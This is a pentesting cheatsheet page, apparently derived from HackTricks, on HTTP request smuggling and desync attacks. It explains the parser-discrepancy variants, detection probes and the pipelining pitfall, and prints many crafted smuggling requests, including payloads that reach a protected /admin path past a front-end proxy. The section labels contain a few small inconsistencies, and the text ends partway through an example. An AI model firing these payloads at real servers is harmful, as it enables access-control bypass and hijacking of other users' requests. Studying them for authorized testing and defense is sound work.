daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

overview.md (61645B)


      1 ---
      2 title: "HTTP Request Smuggling / HTTP Desync Attack"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/http-request-smuggling/README.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/http-request-smuggling/README.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: true
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # HTTP Request Smuggling / HTTP Desync Attack
     14 
     15 ## What is
     16 
     17 This vulnerability occurs when a **desynchronization** between a **front-end proxy** and a **back-end server** lets an attacker send an HTTP message that the front end interprets as **one request** but the back end interprets as **two requests**. The injected bytes can then alter how the back end processes the next user's request.<sup>[[1]](#references)</sup>
     18 
     19 ### Theory
     20 
     21 [**RFC Specification (2161)**](https://tools.ietf.org/html/rfc2616)
     22 
     23 > If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.
     24 
     25 **Content-Length**
     26 
     27 > The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.
     28 
     29 **Transfer-Encoding: chunked**
     30 
     31 > The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.\
     32 > Chunked means that large data is sent in a series of chunks
     33 
     34 ### Reality
     35 
     36 The **front end** (a load balancer or reverse proxy) processes one of the _**Content-Length**_ or _**Transfer-Encoding**_ headers while the **back end** processes the other, causing a **desynchronization** between the two systems.<sup>[[4]](#references)</sup>\
     37 This could be very critical as **an attacker will be able to send one request** to the reverse proxy that will be **interpreted** by the **back-end** server **as 2 different requests**. The **danger** of this technique resides in the fact the **back-end** server **will interpret** the **2nd request injected** as if it **came from the next client** and the **real request** of that client will be **part** of the **injected request**.
     38 
     39 ### Particularities
     40 
     41 Remember that in HTTP **a new line character is composed by 2 bytes:**
     42 
     43 - **Content-Length**: This header uses a **decimal number** to indicate the **number** of **bytes** of the **body** of the request. The body is expected to end in the last character, **a new line is not needed in the end of the request**.
     44 - **Transfer-Encoding:** This header uses in the **body** an **hexadecimal number** to indicate the **number** of **bytes** of the **next chunk**. The **chunk** must **end** with a **new line** but this new line **isn't counted** by the length indicator. This transfer method must end with a **chunk of size 0 followed by 2 new lines**: `0`
     45 - **Connection**: Based on my experience it's recommended to use **`Connection: keep-alive`** on the first request of the request Smuggling.
     46 
     47 ### Visible - Hidden
     48 
     49 HTTP/1.1 commonly carries multiple requests over the same persistent TCP connection. A parsing discrepancy between systems on that connection can make one transmitted request appear as two or more requests to the final back end or an intermediary.
     50 
     51 **[This research](https://portswigger.net/research/http1-must-die)** proposes ways to detect desynchronization behavior that WAFs may miss. Its visible-versus-hidden model looks for response discrepancies caused by differential parsing without immediately exploiting cross-user impact.<sup>[[15]](#references)</sup>
     52 
     53 For example, compare a normal `Host` header with a space-prefixed ` host` header. If the back end rejects the latter value while the front end ignores the malformed header, the differing interpretations are a strong desynchronization signal.
     54 
     55 This would be a **Hidden-Visible discrepancy**.
     56 
     57 If the front-end would have taken into account the " host" header but the front-end didn't, this could have been a **Visible-Hidden** situation.
     58 
     59 This technique revealed discrepancies between AWS ALB and IIS: `Host: foo/bar` produced `400, Server: awselb/2.0`, whereas `Host : foo/bar` produced `400, Server: Microsoft-HTTPAPI/2.0`, indicating that the latter request reached the back end. This is a hidden-visible (H-V) case.
     60 
     61 Note that this situation is not corrected in the AWS, but it can be prevented setting `routing.http.drop_invalid_header_fields.enabled` and `routing.http.desync_mitigation_mode = strictest`.<sup>[[15]](#references)</sup>
     62 
     63 
     64 ## Basic Examples
     65 
     66 > [!TIP]
     67 > When trying to exploit this with Burp Suite **disable `Update Content-Length` and `Normalize HTTP/1 line endings`** in the repeater because some gadgets abuse newlines, carriage returns and malformed content-lengths.
     68 
     69 HTTP request smuggling attacks are crafted by sending ambiguous requests that exploit discrepancies in how front-end and back-end servers interpret the `Content-Length` (CL) and `Transfer-Encoding` (TE) headers. These attacks can manifest in different forms, primarily as **CL.TE**, **TE.CL**, and **TE.TE**. Each type represents a unique combination of how the front-end and back-end servers prioritize these headers. The vulnerabilities arise from the servers processing the same request in different ways, leading to unexpected and potentially malicious outcomes.<sup>[[1]](#references)</sup>
     70 
     71 ### Basic Examples of Vulnerability Types
     72 
     73 | Type | Front end uses | Back end uses | Result |
     74 | --- | --- | --- | --- |
     75 | **CL.TE** | `Content-Length` | `Transfer-Encoding` | The back end treats bytes left after its terminating chunk as the start of the next request. |
     76 | **TE.CL** | `Transfer-Encoding` | `Content-Length` | The back end consumes only the length it trusts and leaves the remaining bytes queued. |
     77 | **TE.TE** | `Transfer-Encoding` | Obfuscated or differently parsed `Transfer-Encoding` | One hop ignores or interprets an obfuscated TE header differently, reducing the case to CL.TE or TE.CL behavior. |
     78 
     79 These labels describe which framing rule each hop trusts; the concrete requests below show how the disagreement is constructed.<sup>[[1]](#references)</sup><sup>[[6]](#references)</sup>
     80 
     81 > [!TIP]
     82 > To the previous table you should add the TE.0 technique, like CL.0 technique but using Transfer Encoding.
     83 
     84 #### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
     85 
     86 - **Front-End (CL):** Processes the request based on the `Content-Length` header.<sup>[[6]](#references)</sup>
     87 - **Back-End (TE):** Processes the request based on the `Transfer-Encoding` header.
     88 - **Attack Scenario:**
     89 
     90   - The attacker sends a request where the `Content-Length` header's value does not match the actual content length.
     91   - The front-end server forwards the entire request to the back-end, based on the `Content-Length` value.
     92   - The back-end server processes the request as chunked due to the `Transfer-Encoding: chunked` header, interpreting the remaining data as a separate, subsequent request.
     93   - **Example:**
     94 
     95     ```
     96     POST / HTTP/1.1
     97     Host: vulnerable-website.com
     98     Content-Length: 30
     99     Connection: keep-alive
    100     Transfer-Encoding: chunked
    101 
    102     0
    103 
    104     GET /404 HTTP/1.1
    105     Foo: x
    106     ```
    107 
    108 #### TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)
    109 
    110 - **Front-End (TE):** Processes the request based on the `Transfer-Encoding` header.
    111 - **Back-End (CL):** Processes the request based on the `Content-Length` header.
    112 - **Attack Scenario:**
    113 
    114   - The attacker sends a chunked request where the chunk size (`7b`) and actual content length (`Content-Length: 4`) do not align.
    115   - The front-end server, honoring `Transfer-Encoding`, forwards the entire request to the back-end.
    116   - The back-end server, respecting `Content-Length`, processes only the initial part of the request (`7b` bytes), leaving the rest as part of an unintended subsequent request.
    117   - **Example:**
    118 
    119     ```
    120     POST / HTTP/1.1
    121     Host: vulnerable-website.com
    122     Content-Length: 4
    123     Connection: keep-alive
    124     Transfer-Encoding: chunked
    125 
    126     7b
    127     GET /404 HTTP/1.1
    128     Host: vulnerable-website.com
    129     Content-Type: application/x-www-form-urlencoded
    130     Content-Length: 30
    131 
    132     x=
    133     0
    134 
    135     ```
    136 
    137 #### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
    138 
    139 - **Servers:** Both support `Transfer-Encoding`, but one can be tricked into ignoring it via obfuscation.
    140 - **Attack Scenario:**
    141 
    142   - The attacker sends a request with obfuscated `Transfer-Encoding` headers.
    143   - Depending on which server (front-end or back-end) fails to recognize the obfuscation, a CL.TE or TE.CL vulnerability may be exploited.
    144   - The unprocessed part of the request, as seen by one of the servers, becomes part of a subsequent request, leading to smuggling.
    145   - **Example:**
    146 
    147     ```
    148     POST / HTTP/1.1
    149     Host: vulnerable-website.com
    150     Transfer-Encoding: xchunked
    151     Transfer-Encoding : chunked
    152     Transfer-Encoding: chunked
    153     Transfer-Encoding: x
    154     Transfer-Encoding: chunked
    155     Transfer-Encoding: x
    156     Transfer-Encoding:[tab]chunked
    157     [space]Transfer-Encoding: chunked
    158     X: X[\n]Transfer-Encoding: chunked
    159 
    160     Transfer-Encoding
    161     : chunked
    162     ```
    163 
    164 #### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)**
    165 
    166 - Both servers process the request based solely on the `Content-Length` header.
    167 - This scenario typically does not lead to smuggling, as there's alignment in how both servers interpret the request length.
    168 - **Example:**
    169 
    170   ```
    171   POST / HTTP/1.1
    172   Host: vulnerable-website.com
    173   Content-Length: 16
    174   Connection: keep-alive
    175 
    176   Normal Request
    177   ```
    178 
    179 #### **CL.0 Scenario**
    180 
    181 - Refers to scenarios where the `Content-Length` header is present and has a value other than zero, indicating that the request body has content. The back-end ignores the `Content-Length` header (which is treated as 0), but the front-end parses it.
    182 - It's crucial in understanding and crafting smuggling attacks, as it influences how servers determine the end of a request.
    183 - **Example:**
    184 
    185   ```
    186   POST / HTTP/1.1
    187   Host: vulnerable-website.com
    188   Content-Length: 16
    189   Connection: keep-alive
    190 
    191   Non-Empty Body
    192   ```
    193 
    194 #### TE.0 Scenario
    195 
    196 - Like the previous one but using TE
    197 - Technique [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)<sup>[[9]](#references)</sup>
    198 - **Example**:
    199 
    200 ```text
    201 OPTIONS / HTTP/1.1
    202 Host: {HOST}
    203 Accept-Encoding: gzip, deflate, br
    204 Accept: */*
    205 Accept-Language: en-US;q=0.9,en;q=0.8
    206 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
    207 Transfer-Encoding: chunked
    208 Connection: keep-alive
    209 
    210 50
    211 GET <http://our-collaborator-server/> HTTP/1.1
    212 x: X
    213 0
    214 EMPTY_LINE_HERE
    215 EMPTY_LINE_HERE
    216 ```
    217 
    218 #### `0.CL` Scenario
    219 
    220 In a `0.CL` sitation a request is send with a Content-Length like:
    221 
    222 ```text
    223 GET /Logon HTTP/1.1
    224 Host: <redacted>
    225 Content-Length:
    226  7
    227 
    228 GET /404 HTTP/1.1
    229 X: Y
    230 ```
    231 
    232 And the front-end doesn't take the `Content-Length` into account so it only sends the first request to the backend (until the 7 in the example). However, the backend sees the `Content-Length` and waits for a body that never arrives cause the front-end is already waiting for the response.
    233 
    234 However, if there is a request that it's possible to send to the backend that is responded before receiving the body of the request, this deadlock won't occure. In IIS for example this happen sending requests to forbidden words like `/con` (check the [documentation](https://learn.microsoft.com/en-us/windows/win32/fileio/naming-a-file)), this way, the initial request will be responded directly and the second requets will contain the request of the victim like:
    235 
    236 ```text
    237 GET / HTTP/1.1
    238 X: yGET /victim HTTP/1.1
    239 Host: <redacted>
    240 ```
    241 
    242 This is useful to cause a desync, but it won't have any impact until now.
    243 
    244 However, the post offers a solution for this by converting a **[0.CL attack into a CL.0 with a double desync](https://portswigger.net/research/http1-must-die)**.<sup>[[15]](#references)</sup>
    245 
    246 #### Emerging trigger families (2026)
    247 
    248 Recent large-scale desync research produced several reusable **non-classic triggers** worth testing in addition to CL.TE / TE.CL / TE.0:<sup>[[22]](#references)</sup>
    249 
    250 - **HTTP/1.0 + `Transfer-Encoding`**: some chains change framing as soon as `Transfer-Encoding` exists, even when the value is not `chunked`. `Transfer-Encoding: gzip` was enough to trigger CL.0-style desyncs because one hop still honored `Content-Length` while another treated the HTTP/1.0 message as faulty framed.<sup>[[22]](#references)</sup>
    251 - **Response-only semantics inside requests**: `Content-Type: multipart/byteranges` can behave like a CL.0 trigger when one component reuses response-side multipart logic and effectively treats the request as bodyless while another still honors `Content-Length`. This generalizes into **Shared-Parser Confusion**: also test response-oriented features such as `Location`, `Set-Cookie`, `Range`, cache invalidation, and CONNECT tunnel state changes inside requests.<sup>[[22]](#references)</sup>
    252 - **Dual-matching `Content-Length`**: some servers treat **any duplicate `Content-Length`** as “no body”, even when both values are identical, valid, and exactly match the body size. Another hop may accept the shared length, creating a CL.0-like desync with otherwise clean framing. Whitespace-prefixed / obs-fold-like placement of the second header is worth testing too.<sup>[[22]](#references)</sup>
    253 - **CONNECT tunnel confusion**: after a successful `CONNECT`, trailing bytes from the CONNECT request can prefix the next request (for example `XGET ...`). This is mainly interesting behind front-ends that forward CONNECT upstream.<sup>[[22]](#references)</sup>
    254 
    255 Minimal dual-matching probe:
    256 
    257 ```http
    258 GET / HTTP/1.1
    259 Host: target
    260 Content-Length: 28
    261 Content-Length: 28
    262 
    263 GET /x HTTP/5.1
    264 X: X
    265 ```
    266 
    267 A later victim request receiving `505 HTTP Version Not Supported` is a strong sign that the embedded request crossed a boundary.<sup>[[22]](#references)</sup>
    268 
    269 #### Breaking the web server
    270 
    271 This technique is also useful in scenarios where it's possible to **break a web server while reading the initial HTTP data** but **without closing the connection**. This way, the **body** of the HTTP request will be considered the **next HTTP request**.
    272 
    273 For example, as explained in [**this writeup**](https://mizu.re/post/twisty-python), In Werkzeug it was possible to send some **Unicode** characters and it will make the server **break**. However, if the HTTP connection was created with the header **`Connection: keep-alive`**, the body of the request won’t be read and the connection will still be open, so the **body** of the request will be treated as the **next HTTP request**.<sup>[[10]](#references)</sup>
    274 
    275 #### Forcing via hop-by-hop headers
    276 
    277 Abusing hop-by-hop headers you could indicate the proxy to **delete the header Content-Length or Transfer-Encoding so a HTTP request smuggling is possible to abuse**.
    278 
    279 ```text
    280 Connection: Content-Length
    281 ```
    282 
    283 For **more information about hop-by-hop headers** visit:
    284 
    285 
    286 [Abusing Hop By Hop Headers](/hacktricks/pentesting-web/abusing-hop-by-hop-headers)
    287 
    288 ## Finding HTTP Request Smuggling
    289 
    290 Identifying HTTP request smuggling vulnerabilities can often be achieved using timing techniques, which rely on observing how long it takes for the server to respond to manipulated requests. These techniques are particularly useful for detecting CL.TE and TE.CL vulnerabilities. Besides these methods, there are other strategies and tools that can be used to find such vulnerabilities:<sup>[[2]](#references)</sup>
    291 
    292 ### Finding CL.TE Vulnerabilities Using Timing Techniques
    293 
    294 - **Method:**
    295 
    296   - Send a TE.CL probe whose back end, if vulnerable, waits for the remaining bytes implied by `Content-Length`.
    297   - **Example:**
    298 
    299     ```
    300     POST / HTTP/1.1
    301     Host: vulnerable-website.com
    302     Transfer-Encoding: chunked
    303     Connection: keep-alive
    304     Content-Length: 4
    305 
    306     1
    307     A
    308     0
    309     ```
    310 
    311   - **Observation:**
    312     - The front-end server processes the request based on `Content-Length` and cuts off the message prematurely.
    313     - The back-end server, expecting a chunked message, waits for the next chunk that never arrives, causing a delay.
    314 
    315 - **Indicators:**
    316   - Timeouts or long delays in response.
    317   - Receiving a 400 Bad Request error from the back-end server, sometimes with detailed server information.
    318 
    319 ### Finding TE.CL Vulnerabilities Using Timing Techniques
    320 
    321 - **Method:**
    322 
    323   - Send a request that, if the application is vulnerable, will cause the back-end server to wait for additional data.
    324   - **Example:**
    325 
    326     ```
    327     POST / HTTP/1.1
    328     Host: vulnerable-website.com
    329     Transfer-Encoding: chunked
    330     Connection: keep-alive
    331     Content-Length: 6
    332 
    333     0
    334     X
    335     ```
    336 
    337   - **Observation:**
    338     - The front-end server processes the request based on `Transfer-Encoding` and forwards the entire message.
    339     - The back-end server, expecting a message based on `Content-Length`, waits for additional data that never arrives, causing a delay.
    340 
    341 ### Other Methods to Find Vulnerabilities
    342 
    343 - **Differential Response Analysis:**
    344   - Send slightly varied versions of a request and observe if the server responses differ in an unexpected way, indicating a parsing discrepancy.
    345 - **Using Automated Tools:**
    346   - Tools like Burp Suite's 'HTTP Request Smuggler' extension can automatically test for these vulnerabilities by sending various forms of ambiguous requests and analyzing the responses.
    347 - **Content-Length Variance Tests:**
    348   - Send requests with varying `Content-Length` values that are not aligned with the actual content length and observe how the server handles such mismatches.
    349 - **Transfer-Encoding Variance Tests:**
    350   - Send requests with obfuscated or malformed `Transfer-Encoding` headers and monitor how differently the front-end and back-end servers respond to such manipulations.
    351 
    352 ### The `Expect: 100-continue` header
    353 
    354 Check how this header can help exploiting a http desync in:
    355 
    356 [Special Http Headers](/hacktricks/network-services-pentesting/pentesting-web/special-http-headers)
    357 
    358 ## CRLF-powered request splitting and desynchronization
    359 
    360 If attacker-controlled data is URL-decoded before a reverse proxy copies it into an upstream HTTP/1 request, `%0d%0a` stops being just response/header injection and becomes a request-smuggling primitive. A common example is Nginx `proxy_pass http://backend$uri;`, because `$uri` is normalized before the upstream request is constructed. The same sink can hide in regex captures, query parameters, cookie values, or custom upstream headers populated from request data. See also [CRLF (%0D%0A) Injection](/hacktricks/pentesting-web/crlf-0d-0a).<sup>[[23]](#references)</sup>
    361 
    362 ### Detection notes
    363 
    364 - Prefer payloads that should trigger a **distinct upstream status code** if the injected bytes reached the back end: invalid HTTP version (`505`), unsupported `Transfer-Encoding` (`501`), invalid `Expect` (`417`), or a malformed `Content-Length` (`400`).<sup>[[23]](#references)</sup>
    365 - If `CRLFCRLF` immediately causes `400` and connection close, do **not** discard the sink yet: some targets still allow **single-header injection**, which is enough for `CL.TE` or request-tunnelling style desyncs.<sup>[[23]](#references)</sup>
    366 - Do not limit testing to the path. In real targets the vulnerable value may be copied into the upstream request line from a **cookie/session token**, or injected into a **custom upstream header** first and only later broken out into a second request.<sup>[[23]](#references)</sup>
    367 
    368 ### Escalation patterns
    369 
    370 - **Request splitting / response queue poisoning:** if two CRLF pairs survive, terminate the first header block and append a complete second request. One front-end request then becomes two back-end requests, shifting the response queue and enabling cross-user response theft, cache poisoning, and sometimes cross-tenant leakage when the smuggled `Host` can be changed on shared CDN infrastructure.<sup>[[23]](#references)</sup>
    371 - **Single-header fallback -> CRLF-powered `CL.TE`:** if only one injected header survives, add `Transfer-Encoding: chunked` while the front end still honors a normal `Content-Length`. An incomplete chunk is a strong confirmation probe because the back end waits for more body bytes; exploitation is the usual `0\r\n\r\n<smuggled-prefix>` pattern that consumes the next request on the reused connection.<sup>[[23]](#references)</sup>
    372 - **Blind request-tunnelling disclosure with `Expect`:** when the inner request is processed on a private upstream but the response is normally hidden, inject `Expect: 100-continue`. Some Nginx flows relay the unexpected `100 Continue` plus the tunneled response, which also enables bypass of front-end-only ACLs by placing an allowed path in the outer request and a protected path in the inner one.<sup>[[23]](#references)</sup>
    373 - **Browser-sendable desyncs:** because the control bytes can live in the URL path or POST body instead of forbidden custom headers, many CRLF-powered desyncs are reachable via navigation or `fetch()`, which makes connection-locked and IP-locked variants practical once a server-side sink is confirmed.<sup>[[23]](#references)</sup>
    374 
    375 ### HTTP Request Smuggling Vulnerability Testing
    376 
    377 After confirming the effectiveness of timing techniques, it's crucial to verify if client requests can be manipulated. A straightforward method is to attempt poisoning your requests, for instance, making a request to `/` yield a 404 response. The `CL.TE` and `TE.CL` examples previously discussed in [Basic Examples](#basic-examples) demonstrate how to poison a client's request to elicit a 404 response, despite the client aiming to access a different resource.
    378 
    379 **Key Considerations**
    380 
    381 When testing for request smuggling vulnerabilities by interfering with other requests, bear in mind:
    382 
    383 - **Distinct Network Connections:** The "attack" and "normal" requests should be dispatched over separate network connections. Utilizing the same connection for both doesn't validate the vulnerability's presence.
    384 - **Consistent URL and Parameters:** Aim to use identical URLs and parameter names for both requests. Modern applications often route requests to specific back-end servers based on URL and parameters. Matching these increases the likelihood that both requests are processed by the same server, a prerequisite for a successful attack.
    385 - **Timing and Racing Conditions:** The "normal" request, meant to detect interference from the "attack" request, competes against other concurrent application requests. Therefore, send the "normal" request immediately following the "attack" request. Busy applications may necessitate multiple trials for conclusive vulnerability confirmation.
    386 - **Load Balancing Challenges:** Front-end servers acting as load balancers may distribute requests across various back-end systems. If the "attack" and "normal" requests end up on different systems, the attack won't succeed. This load balancing aspect may require several attempts to confirm a vulnerability.
    387 - **Unintended User Impact:** If your attack inadvertently impacts another user's request (not the "normal" request you sent for detection), this indicates your attack influenced another application user. Continuous testing could disrupt other users, mandating a cautious approach.
    388 
    389 ### Generic cross-request contamination detection
    390 
    391 Timing probes are still useful for CL.TE / TE.CL deadlocks, but newer tooling also looks for any reproducible **cross-request contamination** instead of guessing the desync class first. Record a stable **control/victim** request and its normal response, send a candidate trigger on a **separate connection**, then immediately repeat the same victim request. If the victim response changes reproducibly, request isolation is broken even if you do not yet know whether the bug is CL.0, TE.0, response-queue poisoning, or something stranger.<sup>[[22]](#references)</sup>
    392 
    393 A good classification trick is to place a **recognizable request** in the apparent body and look for a distinctive downstream response. For example, `GET / HTTP/777` should provoke `505 HTTP Version Not Supported`, and a smuggled `TRACE` request can reflect escaped bytes back in the response. This finds unknown desync classes without hard-coding the parser discrepancy first.<sup>[[22]](#references)</sup>
    394 
    395 ### Clean probes vs dirty probes
    396 
    397 Do not treat “two responses came back” as proof by itself. If the trigger is ambiguous enough that the target could legitimately parse it as **two pipelined requests**, you may have only observed normal HTTP/1.1 behavior. Prefer **clean probes**: RFC-compliant requests with one unambiguous body boundary. If a clean request still causes a second response, or changes a later victim response, that is a much stronger desync signal.<sup>[[22]](#references)</sup>
    398 
    399 ### Protocol-ruler transformation detection
    400 
    401 If the back-end has a sharp **maximum header length**, use that limit as a black-box ruler to detect front-end rewriting even when no header is reflected. Measure the largest accepted header value, replace a couple of known bytes with a candidate byte sequence, and measure again. If two bytes make the acceptance boundary shrink by ~10 bytes, the front-end likely expanded or normalized them before forwarding. This is useful for finding Unicode/mojibake rewrites, header dropping/overrides, and spoofing-header normalization that can later produce FE↔BE parser disagreement.<sup>[[22]](#references)</sup>
    402 
    403 ```http
    404 GET / HTTP/1.1
    405 Host: target
    406 A: AAA...{64040}    -> 200
    407 
    408 GET / HTTP/1.1
    409 Host: target
    410 A: AAA...{64041}    -> 400
    411 ```
    412 
    413 ```http
    414 GET / HTTP/1.1
    415 Host: target
    416 A: <candidate-bytes>AAA...{64030}    -> 200
    417 ```
    418 
    419 > [!TIP]
    420 > If you want to automate **trigger generation, permutation, and validation** instead of only manual probing, check [AI-Assisted Fuzzing & Automated Vulnerability Discovery](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/AI/AI-Assisted-Fuzzing-and-Vulnerability-Discovery.md) for the generalized LLM/evaluator patterns behind HTTP Terminator.<sup>[[22]](#references)</sup>
    421 
    422 ## Distinguishing HTTP/1.1 pipelining artifacts vs genuine request smuggling
    423 
    424 Connection reuse (keep-alive) and pipelining can easily produce illusions of "smuggling" in testing tools that send multiple requests on the same socket. Learn to separate harmless client-side artifacts from real server-side desync.<sup>[[11]](#references)</sup><sup>[[12]](#references)</sup>
    425 
    426 ### Why pipelining creates classic false positives
    427 
    428 HTTP/1.1 reuses a single TCP/TLS connection and concatenates requests and responses on the same stream. In pipelining, the client sends multiple requests back-to-back and relies on in-order responses. A common false-positive is to resend a malformed CL.0-style payload twice on a single connection:
    429 
    430 ```text
    431 POST / HTTP/1.1
    432 Host: hackxor.net
    433 Content_Length: 47
    434 
    435 GET /robots.txt HTTP/1.1
    436 X: Y
    437 ```
    438 
    439 Responses may look like:
    440 
    441 ```text
    442 HTTP/1.1 200 OK
    443 Content-Type: text/html
    444 
    445 ```
    446 ```text
    447 HTTP/1.1 200 OK
    448 Content-Type: text/plain
    449 
    450 User-agent: *
    451 Disallow: /settings
    452 ```
    453 
    454 If the server ignored the malformed `Content_Length`, there is no FE↔BE desync. With reuse, your client actually sent this byte-stream, which the server parsed as two independent requests:
    455 
    456 ```text
    457 POST / HTTP/1.1
    458 Host: hackxor.net
    459 Content_Length: 47
    460 
    461 GET /robots.txt HTTP/1.1
    462 X: YPOST / HTTP/1.1
    463 Host: hackxor.net
    464 Content_Length: 47
    465 
    466 GET /robots.txt HTTP/1.1
    467 X: Y
    468 ```
    469 
    470 Impact: none. You just desynced your client from the server framing.
    471 
    472 > [!TIP]
    473 > Burp modules that depend on reuse/pipelining: Turbo Intruder with `requestsPerConnection>1`, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".
    474 
    475 ### Litmus tests: pipelining or real desync?
    476 
    477 1. Disable reuse and re-test
    478    - In Burp Intruder/Repeater, turn off HTTP/1 reuse and avoid "Send group in sequence".
    479    - In Turbo Intruder, set `requestsPerConnection=1` and `pipeline=False`.
    480    - If the behavior disappears, it was likely client-side pipelining, unless you’re dealing with connection-locked/stateful targets or client-side desync.
    481 2. HTTP/2 nested-response check
    482    - Send an HTTP/2 request. If the response body contains a complete nested HTTP/1 response, you’ve proven a backend parsing/desync bug instead of a pure client artifact.
    483 3. Partial-requests probe for connection-locked front-ends
    484    - Some FEs only reuse the upstream BE connection if the client reused theirs. Use partial-requests to detect FE behavior that mirrors client reuse.
    485    - See PortSwigger "Browser‑Powered Desync Attacks" for the connection-locked technique.<sup>[[13]](#references)</sup>
    486 4. State probes
    487    - Look for first- vs subsequent-request differences on the same TCP connection (first-request routing/validation).
    488    - Burp "HTTP Request Smuggler" includes a connection‑state probe that automates this.
    489 5. Visualize the wire
    490    - Use the Burp "HTTP Hacker" extension to inspect concatenation and message framing directly while experimenting with reuse and partial requests.
    491 
    492 ### Connection‑locked request smuggling (reuse-required)
    493 
    494 Some front-ends only reuse the upstream connection when the client reuses theirs. Real smuggling exists but is conditional on client-side reuse. To distinguish and prove impact:
    495 - Prove the server-side bug
    496   - Use the HTTP/2 nested-response check, or
    497   - Use partial-requests to show the FE only reuses upstream when the client does.
    498 - Show real impact even if direct cross-user socket abuse is blocked:
    499   - Cache poisoning: poison shared caches via the desync so responses affect other users.
    500   - Internal header disclosure: reflect FE-injected headers (e.g., auth/trust headers) and pivot to auth bypass.
    501   - Bypass FE controls: smuggle restricted paths/methods past the front-end.
    502   - Host-header abuse: combine with host routing quirks to pivot to internal vhosts.
    503 - Operator workflow
    504   - Reproduce with controlled reuse (Turbo Intruder `requestsPerConnection=2`, or Burp Repeater tab group → "Send group in sequence (single connection)").
    505   - Then chain to cache/header-leak/control-bypass primitives and demonstrate cross-user or authorization impact.
    506 
    507 > See also connection‑state attacks, which are closely related but not technically smuggling:
    508 >
    509 >{{#ref}}
    510 >../http-connection-request-smuggling.md
    511 >{{#endref}}
    512 
    513 ### Client‑side desync constraints
    514 
    515 If you’re targeting browser-powered/client-side desync, the malicious request must be sendable by a browser cross-origin. Header obfuscation tricks won’t work. Focus on primitives reachable via navigation/fetch, and then pivot to cache poisoning, header disclosure, or front-end control bypass where downstream components reflect or cache responses.<sup>[[14]](#references)</sup>
    516 
    517 For background and end-to-end workflows:
    518 
    519 [Browser Http Request Smuggling](/hacktricks/pentesting-web/http-request-smuggling/browser-http-request-smuggling)
    520 
    521 ### Tooling to help decide
    522 
    523 - HTTP Hacker (Burp BApp Store): exposes low-level HTTP behavior and socket concatenation.
    524 - "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
    525 - Turbo Intruder: precise control over connection reuse via `requestsPerConnection`.
    526 - Burp HTTP Request Smuggler: includes a connection‑state probe to spot first‑request routing/validation.
    527 
    528 > [!NOTE]
    529 > Treat reuse-only effects as non-issues unless you can prove server-side desync and attach concrete impact (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, etc.).
    530 
    531 ## Abusing HTTP Request Smuggling
    532 
    533 ### Circumventing Front-End Security via HTTP Request Smuggling
    534 
    535 Sometimes, front-end proxies enforce security measures, scrutinizing incoming requests. However, these measures can be circumvented by exploiting HTTP Request Smuggling, allowing unauthorized access to restricted endpoints. For instance, accessing `/admin` might be prohibited externally, with the front-end proxy actively blocking such attempts. Nonetheless, this proxy may neglect to inspect embedded requests within a smuggled HTTP request, leaving a loophole for bypassing these restrictions.<sup>[[3]](#references)</sup>
    536 
    537 Consider the following examples illustrating how HTTP Request Smuggling can be used to bypass front-end security controls, specifically targeting the `/admin` path which is typically guarded by the front-end proxy:
    538 
    539 **CL.TE Example**
    540 
    541 ```text
    542 POST / HTTP/1.1
    543 Host: [redacted].web-security-academy.net
    544 Cookie: session=[redacted]
    545 Connection: keep-alive
    546 Content-Type: application/x-www-form-urlencoded
    547 Content-Length: 67
    548 Transfer-Encoding: chunked
    549 
    550 0
    551 GET /admin HTTP/1.1
    552 Host: localhost
    553 Content-Length: 10
    554 
    555 x=
    556 ```
    557 
    558 In the CL.TE attack, the `Content-Length` header is leveraged for the initial request, while the subsequent embedded request utilizes the `Transfer-Encoding: chunked` header. The front-end proxy processes the initial `POST` request but fails to inspect the embedded `GET /admin` request, allowing unauthorized access to the `/admin` path.
    559 
    560 **TE.CL Example**
    561 
    562 ```text
    563 POST / HTTP/1.1
    564 Host: [redacted].web-security-academy.net
    565 Cookie: session=[redacted]
    566 Content-Type: application/x-www-form-urlencoded
    567 Connection: keep-alive
    568 Content-Length: 4
    569 Transfer-Encoding: chunked
    570 2b
    571 GET /admin HTTP/1.1
    572 Host: localhost
    573 a=x
    574 0
    575 
    576 ```
    577 
    578 Conversely, in the TE.CL attack, the initial `POST` request uses `Transfer-Encoding: chunked`, and the subsequent embedded request is processed based on the `Content-Length` header. Similar to the CL.TE attack, the front-end proxy overlooks the smuggled `GET /admin` request, inadvertently granting access to the restricted `/admin` path.
    579 
    580 ### Revealing front-end request rewriting <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
    581 
    582 Applications often employ a **front-end server** to modify incoming requests before passing them to the back-end server. A typical modification involves adding headers, such as `X-Forwarded-For: <IP of the client>`, to relay the client's IP to the back-end. Understanding these modifications can be crucial, as it might reveal ways to **bypass protections** or **uncover concealed information or endpoints**.<sup>[[3]](#references)</sup>
    583 
    584 To investigate how a proxy alters a request, locate a POST parameter that the back-end echoes in the response. Then, craft a request, using this parameter last, similar to the following:
    585 
    586 ```text
    587 POST / HTTP/1.1
    588 Host: vulnerable-website.com
